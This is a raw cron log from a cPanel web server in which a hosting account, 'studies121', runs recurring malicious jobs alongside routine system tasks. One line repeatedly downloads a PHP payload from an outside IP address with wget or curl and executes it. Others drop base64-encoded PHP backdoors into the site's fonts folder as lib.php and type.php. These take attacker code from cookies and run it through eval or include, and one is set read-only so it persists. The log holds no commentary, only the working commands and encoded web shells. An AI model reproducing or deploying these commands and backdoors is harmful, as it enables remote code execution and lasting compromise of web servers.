Sep  6 03:18:01 ip-184-168-122-23 CROND[3667]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:18:01 ip-184-168-122-23 CROND[3666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:18:01 ip-184-168-122-23 CROND[3664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:19:01 ip-184-168-122-23 CROND[3753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:19:01 ip-184-168-122-23 CROND[3754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:19:01 ip-184-168-122-23 CROND[3755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:19:01 ip-184-168-122-23 CROND[3759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:20:01 ip-184-168-122-23 CROND[3872]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 03:20:01 ip-184-168-122-23 CROND[3875]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:20:01 ip-184-168-122-23 CROND[3878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:20:01 ip-184-168-122-23 CROND[3882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:20:01 ip-184-168-122-23 CROND[3881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:20:01 ip-184-168-122-23 CROND[3879]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 03:20:01 ip-184-168-122-23 CROND[3880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:20:01 ip-184-168-122-23 CROND[3883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:20:01 ip-184-168-122-23 CROND[3884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:21:01 ip-184-168-122-23 CROND[3976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:21:01 ip-184-168-122-23 CROND[3977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:21:01 ip-184-168-122-23 CROND[3978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:21:01 ip-184-168-122-23 CROND[3980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:22:01 ip-184-168-122-23 CROND[4056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:22:01 ip-184-168-122-23 CROND[4059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:22:01 ip-184-168-122-23 CROND[4058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:22:01 ip-184-168-122-23 CROND[4060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:22:01 ip-184-168-122-23 CROND[4061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:23:01 ip-184-168-122-23 CROND[4246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:23:01 ip-184-168-122-23 CROND[4247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:23:01 ip-184-168-122-23 CROND[4248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:23:01 ip-184-168-122-23 CROND[4249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:24:01 ip-184-168-122-23 CROND[4371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:24:01 ip-184-168-122-23 CROND[4374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:24:01 ip-184-168-122-23 CROND[4373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:24:01 ip-184-168-122-23 CROND[4372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:24:01 ip-184-168-122-23 CROND[4375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:25:01 ip-184-168-122-23 CROND[4470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:25:01 ip-184-168-122-23 CROND[4472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:25:01 ip-184-168-122-23 CROND[4473]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:25:01 ip-184-168-122-23 CROND[4475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:25:01 ip-184-168-122-23 CROND[4474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:25:01 ip-184-168-122-23 CROND[4476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:26:01 ip-184-168-122-23 CROND[4610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:26:01 ip-184-168-122-23 CROND[4612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:26:01 ip-184-168-122-23 CROND[4613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:26:01 ip-184-168-122-23 CROND[4614]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:26:01 ip-184-168-122-23 CROND[4617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:27:01 ip-184-168-122-23 CROND[4698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:27:01 ip-184-168-122-23 CROND[4699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:27:01 ip-184-168-122-23 CROND[4700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:27:01 ip-184-168-122-23 CROND[4702]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  6 03:27:01 ip-184-168-122-23 CROND[4703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:28:01 ip-184-168-122-23 CROND[4870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:28:01 ip-184-168-122-23 CROND[4874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:28:01 ip-184-168-122-23 CROND[4871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:28:01 ip-184-168-122-23 CROND[4872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:28:01 ip-184-168-122-23 CROND[4873]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:29:01 ip-184-168-122-23 CROND[4966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:29:01 ip-184-168-122-23 CROND[4965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:29:01 ip-184-168-122-23 CROND[4967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:29:01 ip-184-168-122-23 CROND[4968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:30:01 ip-184-168-122-23 CROND[5050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:30:01 ip-184-168-122-23 CROND[5053]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:30:01 ip-184-168-122-23 CROND[5057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
